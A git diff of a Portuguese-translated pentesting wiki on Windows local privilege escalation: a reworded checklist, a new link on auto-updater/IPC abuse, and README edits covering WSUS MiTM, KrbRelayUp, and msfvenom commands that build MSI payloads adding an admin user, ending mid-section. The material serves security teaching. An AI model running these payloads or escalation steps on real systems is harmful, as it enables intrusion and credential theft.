diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 343cdd455..9a62d47c5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -236,6 +236,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 3c6f778d3..7e172233c 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,114 +1,115 @@ -# Checklist - Escalação de Privilégios Local no Windows +# Checklist - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Melhor ferramenta para procurar vetores de escalonamento de privilégios locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Melhor ferramenta para procurar vetores de elevação de privilégio locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [Informações do Sistema](windows-local-privilege-escalation/index.html#system-info) +### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] Obter [**Informações do sistema**](windows-local-privilege-escalation/index.html#system-info) -- [ ] Procurar por **explorações de kernel** [**usando scripts**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] Usar **Google para pesquisar** por **explorações de kernel** -- [ ] Usar **searchsploit para pesquisar** por **explorações de kernel** -- [ ] Informações interessantes em [**variáveis de ambiente**](windows-local-privilege-escalation/index.html#environment)? -- [ ] Senhas no [**histórico do PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)? -- [ ] Informações interessantes em [**configurações da Internet**](windows-local-privilege-escalation/index.html#internet-settings)? -- [ ] [**Unidades**](windows-local-privilege-escalation/index.html#drives)? -- [ ] [**Exploração do WSUS**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] Obter [**System information**](windows-local-privilege-escalation/index.html#system-info) +- [ ] Procurar por **kernel** [**exploits usando scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] Usar **Google** para procurar **exploits** do kernel +- [ ] Usar **searchsploit** para procurar **exploits** do kernel +- [ ] Informação interessante em [**env vars**](windows-local-privilege-escalation/index.html#environment)? +- [ ] Senhas no [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)? +- [ ] Informação interessante em [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? +- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? +- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? -### [Enumeração de Logs/AV](windows-local-privilege-escalation/index.html#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Verificar as configurações de [**Auditoria**](windows-local-privilege-escalation/index.html#audit-settings) e [**WEF**](windows-local-privilege-escalation/index.html#wef) +- [ ] Verificar configurações de [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef) - [ ] Verificar [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] Verificar se [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) está ativo -- [ ] [**Proteção LSA**](windows-local-privilege-escalation/index.html#lsa-protection)? +- [ ] Verificar se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)está ativo +- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) -- [ ] [**Credenciais em Cache**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] Verificar se há algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) -- [ ] [**Política do AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? +- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? +- [ ] Verificar se existe algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) +- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) -- [ ] [**Privilégios do Usuário**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Verificar [**privilégios do usuário atual**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Você é [**membro de algum grupo privilegiado**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Verificar se você tem [algum desses tokens habilitados](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege**? -- [ ] [**Sessões de Usuários**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] Verificar [**pastas pessoais dos usuários**](windows-local-privilege-escalation/index.html#home-folders) (acesso?) -- [ ] Verificar [**Política de Senhas**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] O que está [**dentro da Área de Transferência**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? +- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Verificar privilégios do usuário [**current**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Você é [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? +- [ ] Verificar se você tem [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? +- [ ] Verificar[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (acesso?) +- [ ] Verificar [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) +- [ ] O que há [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? -### [Rede](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Verificar **informações de rede** [**atuais**](windows-local-privilege-escalation/index.html#network) -- [ ] Verificar **serviços locais ocultos** restritos ao exterior +- [ ] Verificar [**current**](windows-local-privilege-escalation/index.html#network) **network information** +- [ ] Verificar **hidden local services** restritos ao exterior -### [Processos em Execução](windows-local-privilege-escalation/index.html#running-processes) +### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Permissões de [**arquivos e pastas de binários de processos**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) -- [ ] [**Mineração de Senhas na Memória**](windows-local-privilege-escalation/index.html#memory-password-mining) -- [ ] [**Aplicativos GUI Inseguros**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] Roubar credenciais com **processos interessantes** via `ProcDump.exe`? (firefox, chrome, etc ...) +- [ ] Permissões de arquivos e pastas dos binários de processos [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) +- [ ] Roubar credenciais de **interesting processes** com `ProcDump.exe` ? (firefox, chrome, etc ...) -### [Serviços](windows-local-privilege-escalation/index.html#services) +### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [Você pode **modificar algum serviço**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [Você pode **modificar** o **binário** que é **executado** por algum **serviço**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [Você pode **modificar** o **registro** de algum **serviço**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [Você pode tirar proveito de algum **caminho de binário de serviço não citado**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions) +- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) +- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) +- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) -### [**Aplicações**](windows-local-privilege-escalation/index.html#applications) +### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Permissões de escrita** [**em aplicações instaladas**](windows-local-privilege-escalation/index.html#write-permissions) -- [ ] [**Aplicações de Inicialização**](windows-local-privilege-escalation/index.html#run-at-startup) -- [ ] **Drivers Vulneráveis** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) +- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) +- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) -### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) +### [DLL Hijacking](windows-local-privilege-escalation/index.html#Path-dll-hijacking) -- [ ] Você pode **escrever em alguma pasta dentro do PATH**? -- [ ] Existe algum binário de serviço conhecido que **tente carregar alguma DLL inexistente**? -- [ ] Você pode **escrever** em alguma **pasta de binários**? +- [ ] Você pode **write in any folder inside PATH**? +- [ ] Existe algum binário de serviço conhecido que **tries to load any non-existant DLL**? +- [ ] Você pode **write** em alguma **binaries folder**? -### [Rede](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Enumerar a rede (compartilhamentos, interfaces, rotas, vizinhos, ...) -- [ ] Prestar atenção especial aos serviços de rede escutando em localhost (127.0.0.1) +- [ ] Enumerar a rede (shares, interfaces, routes, neighbours, ...) +- [ ] Prestar atenção especial a serviços de rede que escutam em localhost (127.0.0.1) -### [Credenciais do Windows](windows-local-privilege-escalation/index.html#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] Credenciais do [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) -- [ ] Credenciais do [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) que você poderia usar? -- [ ] Informações interessantes sobre [**credenciais DPAPI**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Senhas de [**redes Wifi salvas**](windows-local-privilege-escalation/index.html#wifi)? -- [ ] Informações interessantes em [**Conexões RDP salvas**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? -- [ ] Senhas em [**comandos executados recentemente**](windows-local-privilege-escalation/index.html#recently-run-commands)? -- [ ] Senhas do [**Gerenciador de Credenciais do Desktop Remoto**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)? -- [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/index.html#appcmd-exe)? Credenciais? -- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? Carregamento lateral de DLL? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials +- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials que você poderia usar? +- [ ] Informação interessante de [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] Senhas de [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? +- [ ] Informação interessante em [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? +- [ ] Senhas em [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) passwords? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials? +- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? -### [Arquivos e Registro (Credenciais)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Credenciais**](windows-local-privilege-escalation/index.html#putty-creds) **e** [**chaves de host SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**Chaves SSH no registro**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] Senhas em [**arquivos não supervisionados**](windows-local-privilege-escalation/index.html#unattended-files)? +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? +- [ ] Senhas em [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)? - [ ] Algum backup de [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)? -- [ ] [**Credenciais em Nuvem**](windows-local-privilege-escalation/index.html#cloud-credentials)? -- [ ] Arquivo [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)? -- [ ] [**Senha GPP em Cache**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? -- [ ] Senha no [**arquivo de configuração do IIS Web**](windows-local-privilege-escalation/index.html#iis-web-config)? -- [ ] Informações interessantes em [**logs da web**](windows-local-privilege-escalation/index.html#logs)? -- [ ] Você quer [**pedir credenciais**](windows-local-privilege-escalation/index.html#ask-for-credentials) ao usuário? -- [ ] Informações interessantes em [**arquivos dentro da Lixeira**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] Outros [**registros contendo credenciais**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] Dentro dos [**dados do Navegador**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, histórico, favoritos, ...)? -- [ ] [**Busca genérica de senhas**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) em arquivos e registro -- [ ] [**Ferramentas**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) para buscar senhas automaticamente +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? +- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) file? +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? +- [ ] Senha em [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)? +- [ ] Informação interessante em [**web** **logs**](windows-local-privilege-escalation/index.html#logs)? +- [ ] Quer [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) ao usuário? +- [ ] Arquivos interessantes dentro da [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? +- [ ] Outros [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] Dentro de [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)? +- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) em arquivos e registro +- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) para procurar automaticamente por senhas -### [Manipuladores Vazados](windows-local-privilege-escalation/index.html#leaked-handlers) +### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] Você tem acesso a algum manipulador de um processo executado por administrador? +- [ ] Você tem acesso a algum handler de um processo executado pelo administrador? -### [Impersonação de Cliente de Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) +### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] Verifique se você pode abusar disso +- [ ] Verificar se você pode abusar disso {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 29a5b88a7..a508fff81 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Melhor ferramenta para procurar vetores de Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## Teoria Inicial do Windows ### Access Tokens -**Se você não sabe o que são Windows Access Tokens, leia a página a seguir antes de continuar:** +**Se você não sabe o que são Windows Access Tokens, leia a seguinte página antes de continuar:** {{#ref}} @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Consulte a página a seguir para mais informações sobre ACLs - DACLs/SACLS/ACEs:** +**Verifique a seguinte página para mais info sobre ACLs - DACLs/SACLs/ACEs:** {{#ref}} @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Se você não sabe o que são integrity levels no Windows, deve ler a página a seguir antes de continuar:** +**Se você não sabe o que são integrity levels no Windows você deve ler a seguinte página antes de continuar:** {{#ref}} @@ -35,7 +35,7 @@ integrity-levels.md ## Controles de Segurança do Windows -Existem diferentes coisas no Windows que podem **impedir que você enumere o sistema**, executar executáveis ou até mesmo **detectar suas atividades**. Você deve **ler** a **página** a seguir e **enumerar** todos esses **mecanismos** **de** **defesa** **antes de iniciar a enumeração de privilege escalation**: +Existem diferentes coisas no Windows que podem **impedir que você enumere o sistema**, execute executáveis ou até **detectar suas atividades**. Você deve **ler** a seguinte **página** e **enumerar** todos esses **mecanismos de defesa** antes de iniciar a enumeração de privilege escalation: {{#ref}} @@ -44,7 +44,7 @@ Existem diferentes coisas no Windows que podem **impedir que você enumere o sis ## Informações do Sistema -### Enumeração de informações da versão +### Enumeração de informações de versão Verifique se a versão do Windows tem alguma vulnerabilidade conhecida (verifique também os patches aplicados). ```bash @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Exploits por Versão +### Exploits de Versão -Este [site](https://msrc.microsoft.com/update-guide/vulnerability) é útil para buscar informações detalhadas sobre vulnerabilidades de segurança da Microsoft. Esta base de dados tem mais de 4.700 vulnerabilidades de segurança, mostrando a **massive attack surface** que um ambiente Windows apresenta. +Este [site](https://msrc.microsoft.com/update-guide/vulnerability) é útil para pesquisar informações detalhadas sobre vulnerabilidades de segurança da Microsoft. Esta base de dados tem mais de 4.700 vulnerabilidades de segurança, mostrando a **enorme superfície de ataque** que um ambiente Windows apresenta. **No sistema** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas tem watson embutido)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas tem o watson incorporado)_ **Localmente com informações do sistema** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Repositórios Github de exploits:** +**Repositórios do Github de exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -116,7 +116,7 @@ Stop-Transcript ``` ### PowerShell Module Logging -Detalhes das execuções do pipeline do PowerShell são registrados, incluindo comandos executados, invocações de comandos e trechos de scripts. Porém, detalhes completos da execução e os resultados de saída podem não ser capturados. +Detalhes das execuções do pipeline do PowerShell são registrados, abrangendo comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e os resultados da saída podem não ser capturados. Para habilitar isso, siga as instruções na seção "Transcript files" da documentação, optando por **"Module Logging"** em vez de **"Powershell Transcription"**. ```bash @@ -125,20 +125,20 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Para visualizar os últimos 15 eventos dos logs do PowersShell, você pode executar: +Para ver os últimos 15 eventos dos logs do PowersShell você pode executar: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -A atividade completa e o registro de todo o conteúdo da execução do script são capturados, garantindo que cada bloco de code seja documentado conforme é executado. Esse processo preserva uma trilha de auditoria abrangente de cada atividade, valiosa para análises forenses e para a análise de comportamento malicioso. Ao documentar toda a atividade no momento da execução, são fornecidas informações detalhadas sobre o processo. +É capturado um registro completo de atividades e do conteúdo total da execução do script, garantindo que cada bloco de código seja documentado enquanto é executado. Esse processo preserva uma trilha de auditoria abrangente de cada atividade, valiosa para investigações forenses e para a análise de comportamento malicioso. Ao documentar toda a atividade no momento da execução, são fornecidas informações detalhadas sobre o processo. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Os eventos de logging do Script Block podem ser encontrados no Windows Event Viewer no caminho: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Os eventos de log para o Script Block podem ser localizados no Visualizador de Eventos do Windows no caminho: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Para visualizar os últimos 20 eventos você pode usar: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Você pode comprometer o sistema se as atualizações não forem solicitadas usando http**S**, mas http. +Você pode comprometer o sistema se as atualizações não forem solicitadas usando http**S** mas sim http. -Comece verificando se a rede usa uma atualização WSUS sem SSL executando o seguinte no cmd: +Você começa verificando se a rede usa uma atualização WSUS sem SSL executando o seguinte no cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -182,11 +182,11 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ou `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` for igual a `1`. -Então, **é explorável.** Se o último valor do registro for igual a 0, a entrada WSUS será ignorada. +**Então, pode ser explorado.** Se o último registro for igual a 0, a entrada WSUS será ignorada. -Para explorar essa vulnerabilidade você pode usar ferramentas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) - estes são scripts MiTM weaponized exploits para injetar atualizações 'fake' no tráfego WSUS não-SSL. +Para explorar essas vulnerabilidades você pode usar ferramentas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - estes são scripts de exploits MiTM armados para injetar atualizações 'falsas' no tráfego WSUS non-SSL. -Leia a pesquisa aqui: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,26 +194,34 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/). Basicamente, esta é a falha que este bug explora: -> Se tivermos poder para modificar nosso proxy de usuário local, e o Windows Update usar o proxy configurado nas configurações do Internet Explorer, então teremos poder para executar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado no nosso ativo. +> Se tivermos o poder de modificar o proxy do nosso usuário local, e o Windows Updates usa o proxy configurado nas configurações do Internet Explorer, temos então o poder de executar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado no nosso ativo. > -> Além disso, como o serviço WSUS usa as configurações do usuário atual, ele também usará seu store de certificados. Se gerarmos um certificado self-signed para o hostname do WSUS e adicionarmos esse certificado ao store de certificados do usuário atual, seremos capazes de interceptar tanto o tráfego HTTP quanto HTTPS do WSUS. WSUS não usa mecanismos tipo HSTS para implementar uma validação trust-on-first-use do certificado. Se o certificado apresentado for confiável pelo usuário e tiver o hostname correto, ele será aceito pelo serviço. +> Além disso, já que o serviço WSUS usa as configurações do usuário atual, ele também usará o seu certificate store. Se gerarmos um certificado self-signed para o hostname do WSUS e adicionarmos esse certificado ao certificate store do usuário atual, seremos capazes de interceptar tanto o tráfego HTTP quanto HTTPS do WSUS. WSUS não usa mecanismos do tipo HSTS para implementar uma validação trust-on-first-use no certificado. Se o certificado apresentado for confiável pelo usuário e tiver o hostname correto, ele será aceito pelo serviço. Você pode explorar essa vulnerabilidade usando a ferramenta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (uma vez que esteja liberada). +## Atualizadores Automáticos de Terceiros e Agent IPC (local privesc) + +Muitos agentes empresariais expõem uma superfície localhost IPC e um canal de atualização privilegiado. Se o enrollment puder ser coagido para um servidor do atacante e o updater confiar em uma rogue root CA ou em verificações fracas do signer, um usuário local pode entregar um MSI malicioso que o serviço SYSTEM instala. Veja uma técnica generalizada (baseada na cadeia Netskope stAgentSvc – CVE-2025-0309) aqui: + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} + ## KrbRelayUp -Uma vulnerabilidade de **local privilege escalation** existe em ambientes **Windows domain** sob condições específicas. Essas condições incluem ambientes onde **LDAP signing is not enforced,** usuários possuem direitos que lhes permitem configurar **Resource-Based Constrained Delegation (RBCD),** e a capacidade de usuários criarem computadores dentro do domínio. É importante notar que esses **requisitos** são atendidos usando as **configurações padrão**. +Uma vulnerabilidade de **local privilege escalation** existe em ambientes Windows **domain** sob condições específicas. Essas condições incluem ambientes onde **LDAP signing is not enforced,** usuários possuem direitos que lhes permitem configurar **Resource-Based Constrained Delegation (RBCD),** e a capacidade para usuários criarem computadores dentro do domínio. É importante notar que esses **requirements** são atendidos usando as **default settings**. -Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Encontre o **exploit** em [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) Para mais informações sobre o fluxo do ataque, veja [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Se** essas 2 entradas de registro estiverem **habilitadas** (valor é **0x1**), então usuários de qualquer privilégio podem **instalar** (executar) `*.msi` files como NT AUTHORITY\\**SYSTEM**. +**Se** esses 2 registros estiverem **habilitados** (valor é **0x1**), então usuários de qualquer privilégio podem **instalar** (executar) arquivos `*.msi` como NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -223,19 +231,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Se você tiver uma sessão meterpreter, pode automatizar essa técnica usando o módulo **`exploit/windows/local/always_install_elevated`** +Se você tiver uma sessão meterpreter você pode automatizar essa técnica usando o módulo **`exploit/windows/local/always_install_elevated`** ### PowerUP -Use o comando `Write-UserAddMSI` do power-up para criar, no diretório atual, um binário Windows MSI para elevar privilégios. Esse script gera um instalador MSI 